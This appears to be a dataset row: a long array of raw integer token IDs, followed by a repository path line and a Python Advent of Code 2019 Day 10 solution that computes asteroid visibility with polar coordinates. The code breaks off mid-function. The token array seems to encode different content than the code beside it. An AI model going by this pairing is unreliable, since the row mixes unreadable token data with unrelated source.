29898,
5521,
749,
29922,
5521,
749,
29896,
511,
13,
9651,
27684,
29918,
816,
11272,
29922,
29943,
3905,
4504,
11272,
2792,
29898,
13,
18884,
2117,
29918,
1725,
267,
29922,
8824,
29892,
13,
18884,
12151,
29922,
29943,
3905,
18087,
29898,
20620,
29918,
1725,
29872,
511,
13,
18884,
29839,
29922,
7728,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29892,
13,
18884,
527,
5521,
749,
29918,
2238,
18745,
29922,
326,
5521,
749,
29918,
1725,
29872,
29892,
13,
9651,
10353,
13,
4706,
1723,
13,
1678,
1723,
13,
1678,
8242,
29918,
449,
353,
2114,
3842,
29889,
3258,
29898,
13,
4706,
12670,
1259,
13599,
2792,
11857,
29898,
13,
9651,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
29906,
511,
13,
9651,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
7827,
29918,
5521,
749,
448,
17346,
29906,
511,
13,
9651,
27684,
29918,
816,
11272,
29922,
29943,
3905,
4504,
11272,
2792,
29898,
13,
18884,
2117,
29918,
1725,
267,
29922,
8824,
29892,
13,
18884,
12151,
29922,
29943,
3905,
18087,
29898,
20620,
29918,
1725,
29872,
511,
13,
18884,
29839,
29922,
7728,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29892,
13,
18884,
527,
5521,
749,
29918,
2238,
18745,
29922,
326,
5521,
749,
29918,
1725,
29872,
29892,
13,
9651,
10353,
13,
4706,
1723,
13,
1678,
1723,
13,
13,
1678,
396,
1128,
1568,
437,
591,
817,
304,
3638,
577,
393,
278,
3646,
20586,
421,
14506,
6522,
349,
9998,
29899,
4561,
13944,
29889,
13,
1678,
27684,
29918,
15807,
362,
353,
679,
29918,
11228,
29918,
14506,
29918,
1454,
29918,
14506,
29918,
7045,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
7045,
29918,
1725,
267,
29922,
15467,
358,
18087,
29898,
14506,
511,
18196,
11759,
29898,
12719,
29918,
262,
29892,
8242,
29918,
449,
4638,
13,
1678,
1723,
13,
1678,
5251,
29898,
1725,
29872,
29918,
15807,
362,
29897,
29871,
396,
1670,
338,
451,
3307,
13284,
363,
278,
19179,
297,
599,
4251,
13,
1678,
4974,
27684,
29918,
15807,
362,
13,
13,
1678,
396,
1128,
1568,
723,
263,
14457,
1061,
3638,
304,
278,
3646,
29973,
13001,
635,
3721,
421,
14506,
1412,
13,
1678,
5253,
29918,
14037,
29918,
9264,
29918,
7045,
29918,
1725,
267,
353,
679,
29918,
14506,
29918,
14037,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
2541,
29918,
1725,
267,
29922,
1725,
29872,
29918,
15807,
362,
29889,
7827,
29918,
14506,
29892,
13,
4706,
8242,
29918,
262,
29922,
12719,
29918,
262,
29892,
13,
4706,
8242,
29918,
449,
29922,
12719,
29918,
449,
29892,
13,
1678,
1723,
13,
1678,
5251,
29898,
14506,
29918,
14037,
29918,
9264,
29918,
7045,
29918,
1725,
267,
29897,
29871,
396,
1334,
1795,
10225,
13284,
363,
278,
19179,
13,
1678,
4974,
6425,
29898,
14506,
448,
5253,
29918,
14037,
29918,
9264,
29918,
7045,
29918,
1725,
267,
29897,
5277,
29871,
29896,
29871,
396,
11243,
284,
5174,
363,
4513,
292,
4436,
13,
13,
1678,
396,
960,
591,
788,
278,
27684,
5906,
29892,
278,
14457,
1061,
1818,
2337,
3638,
472,
3203,
421,
14506,
29952,
304,
278,
3646,
29991,
13,
1678,
5253,
29918,
2541,
29918,
1725,
29872,
29918,
392,
29918,
9264,
353,
8147,
29918,
11177,
29918,
14506,
29918,
2541,
29918,
1725,
29872,
29898,
13,
4706,
27684,
29918,
15807,
362,
29889,
14506,
29918,
14037,
29918,
1725,
267,
29892,
383,
3905,
18087,
29898,
2083,
29898,
1725,
29872,
29918,
15807,
362,
29889,
4210,
362,
29918,
1725,
267,
876,
13,
1678,
1723,
13,
1678,
5253,
29918,
2541,
29918,
9264,
29918,
7045,
29918,
1725,
267,
353,
679,
29918,
14506,
29918,
14037,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
2541,
29918,
1725,
267,
29922,
14506,
29918,
2541,
29918,
1725,
29872,
29918,
392,
29918,
9264,
29892,
8242,
29918,
262,
29922,
12719,
29918,
262,
29892,
8242,
29918,
449,
29922,
12719,
29918,
449,
13,
1678,
1723,
13,
1678,
5251,
29898,
14506,
29918,
2541,
29918,
9264,
29918,
7045,
29918,
1725,
267,
29897,
29871,
396,
1334,
1795,
10225,
13284,
304,
788,
15276,
1144,
13,
1678,
4974,
5253,
29918,
2541,
29918,
9264,
29918,
7045,
29918,
1725,
267,
6736,
5253,
13,
13,
13,
29992,
4773,
29898,
20620,
29918,
1725,
29872,
29922,
29900,
29892,
3107,
29918,
1725,
29872,
29922,
29900,
29892,
527,
5521,
749,
29918,
1725,
29872,
29922,
29896,
29906,
29955,
29955,
29892,
5253,
29922,
29896,
29892,
17346,
29896,
29922,
29941,
29941,
29892,
17346,
29906,
29922,
29946,
29947,
29896,
29897,
13,
29992,
29887,
5428,
29898,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29900,
29892,
4236,
29918,
1767,
29922,
29896,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29900,
29892,
4236,
29918,
1767,
29922,
29896,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29900,
29892,
4236,
29918,
1767,
29922,
29945,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29896,
29892,
4236,
29918,
1767,
29922,
29929,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29896,
29892,
4236,
29918,
1767,
29922,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
511,
13,
1678,
11920,
29898,
1195,
29918,
1767,
29922,
29896,
29892,
4236,
29918,
1767,
29922,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
511,
13,
29897,
13,
29992,
11027,
29898,
19303,
1253,
29918,
354,
4298,
29918,
3198,
11759,
3868,
4298,
5596,
29889,
4572,
29918,
517,
29877,
29918,
29885,
987,
2314,
13,
1753,
1243,
29918,
1725,
29872,
29918,
1202,
29918,
5992,
29918,
262,
19365,
29898,
20620,
29918,
1725,
29872,
29892,
3107,
29918,
1725,
29872,
29892,
527,
5521,
749,
29918,
1725,
29872,
29892,
5253,
29892,
17346,
29896,
29892,
17346,
29906,
1125,
13,
1678,
9995,
6730,
4417,
322,
769,
11077,
1238,
267,
1818,
7709,
278,
2441,
995,
15945,
29908,
13,
1678,
3001,
29918,
5521,
749,
353,
25159,
18087,
29898,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29897,
13,
1678,
3107,
29918,
1725,
29872,
29918,
546,
29918,
12719,
353,
282,
3358,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29898,
1184,
637,
1848,
29943,
3905,
18087,
29898,
7728,
29918,
1725,
29872,
876,
13,
1678,
527,
5521,
749,
29918,
1725,
29872,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
13,
4706,
8242,
29918,
5030,
5946,
29922,
7827,
29918,
5521,
749,
29892,
13,
4706,
29839,
29918,
326,
5521,
749,
29918,
1725,
29872,
29922,
1184,
637,
1848,
29943,
3905,
18087,
29898,
326,
5521,
749,
29918,
1725,
29872,
511,
13,
1678,
1723,
13,
1678,
27684,
29918,
816,
11272,
353,
383,
3905,
4504,
11272,
2792,
29898,
13,
4706,
2117,
29918,
1725,
267,
29922,
8824,
29892,
13,
4706,
12151,
29922,
29943,
3905,
18087,
29898,
20620,
29918,
1725,
29872,
511,
13,
4706,
29839,
29922,
7728,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29892,
13,
4706,
527,
5521,
749,
29918,
2238,
18745,
29922,
326,
5521,
749,
29918,
1725,
29872,
29892,
13,
1678,
1723,
13,
1678,
8242,
29918,
262,
353,
2114,
3842,
29889,
3258,
29898,
13,
4706,
12670,
1259,
13599,
2792,
11857,
29898,
13,
9651,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
7827,
29918,
5521,
749,
448,
17346,
29896,
511,
13,
9651,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
29896,
511,
13,
9651,
27684,
29918,
816,
11272,
29922,
1725,
29872,
29918,
816,
11272,
29892,
13,
4706,
1723,
13,
1678,
1723,
13,
1678,
8242,
29918,
449,
353,
2114,
3842,
29889,
3258,
29898,
13,
4706,
12670,
1259,
13599,
2792,
11857,
29898,
13,
9651,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
29906,
511,
13,
9651,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
7827,
29918,
5521,
749,
448,
17346,
29906,
511,
13,
9651,
27684,
29918,
816,
11272,
29922,
1725,
29872,
29918,
816,
11272,
29892,
13,
4706,
1723,
13,
1678,
1723,
13,
13,
1678,
5253,
29918,
2541,
29918,
1725,
267,
353,
679,
29918,
14506,
29918,
2541,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
14037,
29918,
1725,
267,
29922,
14506,
29892,
13,
4706,
20410,
29918,
262,
29922,
12719,
29918,
262,
29889,
1725,
29872,
29918,
816,
11272,
29892,
13,
4706,
20410,
29918,
449,
29922,
12719,
29918,
449,
29889,
1725,
29872,
29918,
816,
11272,
29892,
13,
4706,
2414,
440,
519,
29918,
14506,
29922,
5521,
749,
29896,
29892,
13,
4706,
17346,
29918,
262,
29922,
7827,
29918,
5521,
749,
448,
17346,
29896,
29892,
13,
4706,
17346,
29918,
449,
29922,
5521,
749,
29906,
29892,
13,
1678,
1723,
13,
1678,
5251,
29898,
14506,
29918,
2541,
29918,
1725,
267,
29897,
13,
1678,
4974,
5253,
29918,
2541,
29918,
1725,
267,
13,
1678,
5253,
29918,
14037,
29918,
1725,
267,
353,
679,
29918,
14506,
29918,
14037,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
2541,
29918,
1725,
267,
29922,
14506,
29918,
2541,
29918,
1725,
267,
29892,
8242,
29918,
262,
29922,
12719,
29918,
262,
29892,
8242,
29918,
449,
29922,
12719,
29918,
449,
13,
1678,
1723,
13,
1678,
5251,
29898,
14506,
29918,
14037,
29918,
1725,
267,
29897,
13,
1678,
4974,
5253,
448,
29871,
29896,
5277,
5253,
29918,
14037,
29918,
1725,
267,
5277,
5253,
718,
29871,
29896,
13,
13,
13,
1753,
2734,
29918,
2083,
29898,
29874,
1125,
13,
1678,
3001,
353,
29871,
29900,
13,
1678,
363,
2944,
297,
263,
29901,
13,
4706,
3001,
4619,
2944,
13,
4706,
7709,
3001,
13,
13,
13,
1753,
1207,
29918,
12719,
29918,
18784,
29898,
13,
1678,
27684,
29918,
816,
11272,
29901,
383,
3905,
4504,
11272,
2792,
29892,
17346,
29896,
29901,
938,
353,
29871,
29900,
29892,
17346,
29906,
29901,
938,
353,
29871,
29900,
13,
29897,
1599,
12603,
552,
29961,
6779,
1259,
13599,
2792,
29892,
12670,
1259,
13599,
2792,
5387,
13,
1678,
17346,
29896,
353,
25159,
18087,
29898,
5521,
749,
29896,
29897,
13,
1678,
17346,
29906,
353,
25159,
18087,
29898,
5521,
749,
29906,
29897,
13,
1678,
736,
313,
13,
4706,
2114,
3842,
29889,
3258,
29898,
13,
9651,
12670,
1259,
13599,
2792,
11857,
29898,
13,
18884,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
29906,
511,
13,
18884,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
29896,
511,
13,
18884,
27684,
29918,
816,
11272,
29922,
1725,
29872,
29918,
816,
11272,
29892,
13,
9651,
1723,
13,
4706,
10353,
13,
4706,
2114,
3842,
29889,
3258,
29898,
13,
9651,
12670,
1259,
13599,
2792,
11857,
29898,
13,
18884,
1749,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
29896,
511,
13,
18884,
18096,
29918,
3859,
29922,
6779,
1259,
13599,
5044,
2792,
11857,
29898,
5521,
749,
29922,
5521,
749,
29906,
511,
13,
18884,
27684,
29918,
816,
11272,
29922,
1725,
29872,
29918,
816,
11272,
29892,
13,
9651,
1723,
13,
4706,
10353,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
29885,
1725,
29872,
29896,
7295,
13,
1678,
9995,
8325,
1243,
363,
278,
27684,
13944,
297,
278,
286,
1725,
29872,
29896,
29918,
20620,
29918,
1725,
29872,
10483,
15945,
29908,
13,
1678,
5253,
353,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
13,
1678,
19754,
277,
353,
29871,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
13,
1678,
12151,
29918,
1725,
29872,
353,
29871,
29896,
29900,
29900,
849,
29871,
29906,
13,
1678,
27684,
29918,
816,
11272,
353,
383,
3905,
4504,
11272,
2792,
29898,
20620,
29922,
29943,
3905,
18087,
29898,
20620,
29918,
1725,
29872,
876,
13,
1678,
18196,
353,
1207,
29918,
12719,
29918,
18784,
29898,
1725,
29872,
29918,
816,
11272,
29892,
19754,
277,
29897,
13,
13,
1678,
396,
1128,
1568,
437,
591,
817,
304,
3638,
577,
393,
278,
3646,
20586,
421,
14506,
6522,
349,
9998,
29899,
4561,
13944,
29889,
13,
1678,
27684,
29918,
15807,
362,
353,
679,
29918,
11228,
29918,
14506,
29918,
1454,
29918,
14506,
29918,
7045,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
7045,
29918,
1725,
267,
29922,
15467,
358,
18087,
29898,
14506,
511,
18196,
11759,
305,
12629,
29892,
18196,
29962,
13,
1678,
1723,
13,
1678,
4974,
27684,
29918,
15807,
362,
13,
1678,
5253,
29918,
2541,
29918,
9264,
353,
8147,
29918,
11177,
29918,
14506,
29918,
2541,
29918,
1725,
29872,
29898,
13,
4706,
27684,
29918,
15807,
362,
29889,
14506,
29918,
14037,
29918,
1725,
267,
29892,
383,
3905,
18087,
29898,
2083,
29898,
1725,
29872,
29918,
15807,
362,
29889,
4210,
362,
29918,
1725,
267,
876,
13,
1678,
1723,
13,
1678,
4974,
5253,
29918,
2541,
29918,
9264,
1275,
29871,
29896,
29900,
29918,
29906,
29896,
29896,
13,
13,
1678,
396,
1596,
1819,
363,
10483,
13,
1678,
1596,
29898,
311,
1066,
277,
448,
5253,
29918,
2541,
29918,
9264,
29892,
5253,
29918,
2541,
29918,
9264,
29897,
13,
1678,
363,
1612,
29918,
1725,
29872,
297,
2734,
29918,
2083,
29898,
1725,
29872,
29918,
15807,
362,
29889,
4210,
362,
29918,
1725,
267,
1125,
13,
4706,
1596,
29898,
311,
1066,
277,
448,
5253,
29918,
2541,
29918,
9264,
718,
1612,
29918,
1725,
29872,
29892,
5253,
29918,
2541,
29918,
9264,
448,
1612,
29918,
1725,
29872,
29897,
13,
13,
13,
1753,
1243,
29918,
29885,
1725,
29872,
29906,
7295,
13,
1678,
9995,
8325,
1243,
363,
278,
27684,
13944,
297,
278,
286,
1725,
29872,
29906,
29918,
771,
637,
1848,
29918,
1725,
267,
10483,
15945,
29908,
13,
1678,
5253,
353,
29871,
29896,
29900,
29918,
29900,
29900,
29900,
13,
1678,
19754,
277,
353,
29871,
29896,
29900,
29900,
29918,
29900,
29900,
29900,
13,
1678,
3107,
29918,
1725,
29872,
353,
282,
3358,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29898,
1184,
637,
1848,
29943,
3905,
18087,
29898,
29896,
29900,
29918,
29900,
29900,
29900,
876,
13,
1678,
27684,
29918,
816,
11272,
353,
383,
3905,
4504,
11272,
2792,
29898,
771,
637,
1848,
29922,
1184,
637,
1848,
29943,
3905,
18087,
29898,
7728,
29918,
1725,
29872,
876,
13,
1678,
18196,
353,
1207,
29918,
12719,
29918,
18784,
29898,
1725,
29872,
29918,
816,
11272,
29892,
19754,
277,
29897,
13,
13,
1678,
396,
1128,
1568,
437,
591,
817,
304,
3638,
577,
393,
278,
3646,
20586,
421,
14506,
6522,
349,
9998,
29899,
4561,
13944,
29889,
13,
1678,
27684,
29918,
15807,
362,
353,
679,
29918,
11228,
29918,
14506,
29918,
1454,
29918,
14506,
29918,
7045,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
7045,
29918,
1725,
267,
29922,
15467,
358,
18087,
29898,
14506,
511,
18196,
11759,
305,
12629,
29892,
18196,
29962,
13,
1678,
1723,
13,
1678,
4974,
27684,
29918,
15807,
362,
13,
1678,
5253,
29918,
2541,
29918,
9264,
353,
8147,
29918,
11177,
29918,
14506,
29918,
2541,
29918,
1725,
29872,
29898,
13,
4706,
27684,
29918,
15807,
362,
29889,
14506,
29918,
14037,
29918,
1725,
267,
29892,
383,
3905,
18087,
29898,
2083,
29898,
1725,
29872,
29918,
15807,
362,
29889,
4210,
362,
29918,
1725,
267,
876,
13,
1678,
1723,
13,
1678,
4974,
5253,
29918,
2541,
29918,
9264,
1275,
29871,
29896,
29900,
29918,
29906,
29896,
29941,
13,
13,
1678,
396,
1596,
1819,
363,
10483,
13,
1678,
1596,
29898,
311,
1066,
277,
448,
5253,
29918,
2541,
29918,
9264,
29892,
5253,
29918,
2541,
29918,
9264,
29897,
13,
1678,
363,
1612,
29918,
1725,
29872,
297,
2734,
29918,
2083,
29898,
1725,
29872,
29918,
15807,
362,
29889,
4210,
362,
29918,
1725,
267,
1125,
13,
4706,
1596,
29898,
311,
1066,
277,
448,
5253,
29918,
2541,
29918,
9264,
718,
1612,
29918,
1725,
29872,
29892,
5253,
29918,
2541,
29918,
9264,
448,
1612,
29918,
1725,
29872,
29897,
13,
13,
13,
1753,
1243,
29918,
29885,
1725,
29872,
29941,
7295,
13,
1678,
9995,
8325,
1243,
363,
278,
27684,
13944,
297,
278,
286,
1725,
29872,
29941,
29918,
6194,
29918,
326,
5521,
749,
29918,
1725,
267,
10483,
15945,
29908,
13,
1678,
5253,
353,
29871,
29945,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
13,
1678,
19754,
277,
353,
25159,
18087,
29898,
29896,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29897,
13,
1678,
527,
5521,
749,
29918,
2238,
18745,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
311,
1066,
277,
29892,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29896,
29900,
29918,
29900,
29900,
29900,
876,
13,
1678,
27684,
29918,
816,
11272,
353,
383,
3905,
4504,
11272,
2792,
29898,
326,
5521,
749,
29918,
2238,
18745,
29922,
326,
5521,
749,
29918,
2238,
18745,
29892,
2117,
29918,
1725,
267,
29922,
8824,
29897,
13,
1678,
18196,
353,
1207,
29918,
12719,
29918,
18784,
29898,
1725,
29872,
29918,
816,
11272,
29892,
19754,
277,
29897,
13,
13,
1678,
396,
1128,
1568,
437,
591,
817,
304,
3638,
577,
393,
278,
3646,
20586,
421,
14506,
6522,
349,
9998,
29899,
4561,
13944,
29889,
13,
1678,
27684,
29918,
15807,
362,
353,
679,
29918,
11228,
29918,
14506,
29918,
1454,
29918,
14506,
29918,
7045,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
7045,
29918,
1725,
267,
29922,
15467,
358,
18087,
29898,
14506,
511,
18196,
11759,
305,
12629,
29962,
13,
1678,
1723,
13,
1678,
4974,
27684,
29918,
15807,
362,
13,
1678,
5253,
29918,
2541,
29918,
9264,
353,
8147,
29918,
11177,
29918,
14506,
29918,
2541,
29918,
1725,
29872,
29898,
13,
4706,
27684,
29918,
15807,
362,
29889,
14506,
29918,
14037,
29918,
1725,
267,
29892,
383,
3905,
18087,
29898,
2083,
29898,
1725,
29872,
29918,
15807,
362,
29889,
4210,
362,
29918,
1725,
267,
876,
13,
1678,
1723,
13,
1678,
4974,
5253,
29918,
2541,
29918,
9264,
1275,
29871,
29946,
29947,
29900,
29918,
29947,
29945,
29900,
29918,
29900,
29941,
29947,
29918,
29955,
29929,
29929,
29918,
29929,
29906,
29906,
29918,
29946,
29900,
29900,
13,
13,
1678,
396,
1596,
1819,
363,
10483,
13,
1678,
1596,
703,
25641,
29918,
29913,
12365,
29918,
29913,
1642,
4830,
29898,
311,
1066,
277,
448,
5253,
29918,
2541,
29918,
9264,
29892,
5253,
29918,
2541,
29918,
9264,
876,
13,
1678,
363,
1612,
29918,
1725,
29872,
297,
2734,
29918,
2083,
29898,
1725,
29872,
29918,
15807,
362,
29889,
4210,
362,
29918,
1725,
267,
1125,
13,
4706,
1596,
29898,
13,
9651,
376,
25641,
29918,
29913,
12365,
29918,
29913,
1642,
4830,
29898,
13,
18884,
19754,
277,
448,
5253,
29918,
2541,
29918,
9264,
718,
1612,
29918,
1725,
29872,
29892,
5253,
29918,
2541,
29918,
9264,
448,
1612,
29918,
1725,
29872,
13,
9651,
1723,
13,
4706,
1723,
13,
13,
13,
1753,
1243,
29918,
29885,
1725,
29872,
29946,
7295,
13,
1678,
9995,
8325,
1243,
363,
278,
27684,
13944,
297,
278,
286,
1725,
29872,
29946,
29918,
17743,
1312,
29918,
1725,
267,
10483,
15945,
29908,
13,
1678,
5253,
353,
14617,
358,
18087,
29898,
29945,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29897,
13,
1678,
19754,
277,
353,
29871,
29896,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
13,
1678,
3107,
29918,
1725,
29872,
353,
282,
3358,
29918,
1725,
29872,
29918,
546,
29918,
12719,
29898,
1184,
637,
1848,
29943,
3905,
18087,
29898,
29896,
29900,
29918,
29900,
29900,
29900,
876,
13,
1678,
527,
5521,
749,
29918,
2238,
18745,
353,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29898,
13,
4706,
25159,
18087,
29898,
311,
1066,
277,
334,
29871,
29906,
511,
1019,
637,
1848,
29943,
3905,
18087,
29898,
29906,
29900,
29918,
29900,
29900,
29900,
29897,
13,
1678,
1723,
13,
1678,
27684,
29918,
816,
11272,
353,
383,
3905,
4504,
11272,
2792,
29898,
13,
4706,
12151,
29922,
29943,
3905,
18087,
29898,
29896,
29900,
29900,
849,
29871,
29906,
511,
13,
4706,
29839,
29922,
7728,
29918,
1725,
29872,
29892,
13,
4706,
527,
5521,
749,
29918,
2238,
18745,
29922,
326,
5521,
749,
29918,
2238,
18745,
29892,
13,
4706,
2117,
29918,
1725,
267,
29922,
8824,
29892,
13,
1678,
1723,
13,
1678,
18196,
353,
1207,
29918,
12719,
29918,
18784,
29898,
1725,
29872,
29918,
816,
11272,
29892,
19754,
277,
29892,
19754,
277,
29897,
13,
13,
1678,
396,
1128,
1568,
437,
591,
817,
304,
3638,
577,
393,
278,
3646,
20586,
421,
14506,
6522,
349,
9998,
29899,
4561,
13944,
29889,
13,
1678,
27684,
29918,
15807,
362,
353,
679,
29918,
11228,
29918,
14506,
29918,
1454,
29918,
14506,
29918,
7045,
29918,
1725,
267,
29898,
13,
4706,
5253,
29918,
7045,
29918,
1725,
267,
29922,
15467,
358,
18087,
29898,
14506,
511,
18196,
11759,
305,
12629,
29892,
18196,
29962,
13,
1678,
1723,
13,
1678,
4974,
27684,
29918,
15807,
362,
13,
13,
1678,
5253,
29918,
2541,
29918,
9264,
353,
8147,
29918,
11177,
29918,
14506,
29918,
2541,
29918,
1725,
29872,
29898,
13,
4706,
5253,
29892,
383,
3905,
18087,
29898,
2083,
29898,
1725,
29872,
29918,
15807,
362,
29889,
4210,
362,
29918,
1725,
267,
876,
13,
1678,
1723,
13,
13,
1678,
396,
20535,
403,
1612,
11685,
1238,
267,
363,
1716,
14457,
4097,
13,
1678,
1612,
29918,
1725,
267,
353,
5159,
13,
1678,
23235,
29918,
14506,
353,
5253,
29918,
2541,
29918,
9264,
13,
1678,
363,
903,
297,
3464,
29898,
29906,
1125,
13,
4706,
714,
17696,
29918,
14506,
353,
679,
29918,
14506,
29918,
14037,
29918,
1725,
267,
29898,
13,
9651,
5253,
29918,
2541,
29918,
1725,
267,
29922,
262,
11506,
29918,
14506,
29892,
8242,
29918,
262,
29922,
305,
12629,
29961,
29900,
1402,
8242,
29918,
449,
29922,
305,
12629,
29961,
29896,
29962,
13,
4706,
1723,
13,
4706,
4974,
714,
17696,
29918,
14506,
13,
4706,
1612,
29918,
1725,
267,
29889,
4397,
29898,
262,
11506,
29918,
14506,
448,
714,
17696,
29918,
14506,
29897,
13,
4706,
23235,
29918,
14506,
353,
714,
17696,
29918,
14506,
13,
13,
1678,
4974,
5253,
29918,
2541,
29918,
9264,
1275,
29871,
29945,
29946,
29941,
29918,
29945,
29900,
29941,
29918,
29900,
29953,
29953,
29918,
29896,
29946,
29896,
29918,
29945,
29900,
29945,
29918,
29945,
29945,
29896,
13,
13,
1678,
396,
1596,
1819,
363,
10483,
13,
1678,
1596,
703,
25641,
29918,
29913,
12365,
29918,
29913,
1642,
4830,
29898,
311,
1066,
277,
448,
5253,
29918,
2541,
29918,
9264,
29892,
19754,
277,
718,
5253,
29918,
2541,
29918,
9264,
876,
13,
1678,
363,
1612,
29918,
1725,
29872,
297,
2734,
29918,
2083,
29898,
2168,
29918,
1725,
267,
1125,
13,
4706,
1596,
29898,
13,
9651,
376,
25641,
29918,
29913,
12365,
29918,
29913,
1642,
4830,
29898,
13,
18884,
19754,
277,
448,
5253,
29918,
2541,
29918,
9264,
718,
1612,
29918,
1725,
29872,
29892,
19754,
277,
718,
5253,
29918,
2541,
29918,
9264,
448,
1612,
29918,
1725,
29872,
13,
9651,
1723,
13,
4706,
1723,
13,
2
] |
2019/day-10/day-10.py | MatthieuMichon/advent-of-code | 1 | 165454 | #!/usr/bin/env python
"""Advent of Code Programming Puzzles
2019 Edition - Day 10
Puzzle Solution in Python
"""
import argparse
import cmath
import logging
import os
import sys
from typing import Iterator
log = logging.getLogger(__name__)
# Common Methods ---------------------------------------------------------------
def load_contents(filename: str) -> Iterator[set]:
"""Load and convert contents from file
:param filename: input filename
:return: iterator yielding maps of boolean per coordinates
"""
lines = open(filename).read().strip().split(os.linesep)
positions = set()
y = 0
for line in lines:
if not len(line):
log.debug(f'{filename=}, map of {len(positions)} items')
yield positions
positions = set()
y = 0
continue
positions.update({(x, y) for x, c in enumerate(line) if c == '#'})
y += 1
log.debug(f'{filename=}, map of {len(positions)} items')
yield positions
def compute_offsets(reference: tuple[int, int],
asteroids: set[tuple[int, int]]) -> set[tuple]:
"""Computing offsets o asteroids with regard to a given reference
:param reference: reference coordinates
:param asteroids: list of asteroids
:return: list of asteroids with offset coordinates
"""
offsets = set()
for asteroid in asteroids:
t = tuple(a - b for a, b in zip(reference, asteroid))
offsets.add(t)
return offsets
def map_detected_asteroids(asteroids: set) -> map:
"""Compute number of detected asteroids from each asteroid position
:param asteroids: list of asteroids
:return: map of detected asteroids per location
"""
detected_asteroids_map = dict()
for asteroid in asteroids:
others = asteroids - {asteroid}
polar_positions = compute_positions(reference=asteroid,
asteroids=others)
angles = set(angle for distance, angle in polar_positions)
detected_asteroids_map[asteroid] = len(angles)
return detected_asteroids_map
def compute_positions(reference: tuple, asteroids: set[tuple]) -> set:
"""Compute polar positions relative to a reference
:param reference: reference position in Cartesian coordinates
:param asteroids: list of asteroids in absolute Cartesian coordinates
:return: list of asteroids in relative polar coordinates
"""
positions = set()
assert reference not in asteroids
rel_positions = compute_offsets(reference=reference, asteroids=asteroids)
for pos in rel_positions:
distance, angle = cmath.polar(complex(*pos))
positions.add((distance, angle))
return positions
def map_polar_pos(reference: tuple, asteroids: set[tuple]) -> dict[float, dict]:
"""Map a list of polar positions by angle and distance
:param reference: reference position in Cartesian coordinates
:param asteroids: list of asteroids in absolute Cartesian coordinates
:return: per-angle map of per-distance asteroids
"""
position_map = dict()
for asteroid in asteroids:
relative_x = asteroid[0] - reference[0]
relative_y = asteroid[1] - reference[1]
transformed_pos = (-relative_y, relative_x)
distance, angle = cmath.polar(complex(*transformed_pos))
if angle < 0:
angle += 2 * cmath.pi
angle *= 180.0 / cmath.pi
if angle not in position_map:
position_map[angle] = {distance: asteroid}
else:
position_map[angle].update({distance: asteroid})
